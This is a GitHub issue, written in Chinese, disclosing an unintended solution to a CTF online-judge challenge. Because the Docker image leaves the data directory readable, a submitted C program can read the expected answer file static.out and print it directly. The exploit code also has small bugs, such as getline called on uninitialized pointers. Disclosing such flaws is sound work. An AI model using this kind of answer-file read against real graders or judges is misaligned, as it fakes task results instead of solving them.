Skip to content

“安全的在线测评”第一问的非预期解:直接读取 static.out 的内容  #43

@liginity

Description

@liginity

出题人在打包 docker image 时把 data/ 目录用 COPY 加入了 image 中,并且设置目录拥有者为 judger,目录的权限是 766。

online_judge.py 中预期使用 os.makedir() 来设置 data 目录的权限为 700,但是 os.makedir() 不改变已存在的目录的权限,见 python 3.11 文档 os.makedirs。所以 runner 用户可以读取 data 中的内容。

static.out 是其他用户可读的。所以有下面的非预期解。

#include <stdio.h>
#include <stdlib.h>

// static_data_path
char *sdata_input_path = "./data/static.in";
char *sdata_output_path = "./data/static.out";

const int LEN = 2048;

int main() {
    char *lines[2];
    size_t ns[2];
    FILE *fp = fopen(sdata_output_path, "r");
    if (fp == NULL) {
        printf("failed to read static output");
        exit(1);
    }
    // read and show the 2 prime numbers.
    getline(&lines[0], &ns[0], fp);
    printf("%s", lines[0]);
    getline(&lines[1], &ns[0], fp);
    printf("%s", lines[1]);

    free(lines[0]);
    free(lines[1]);
    fclose(fp);
    return 0;
}

Metadata

Metadata

Assignees

No one assigned

    Labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions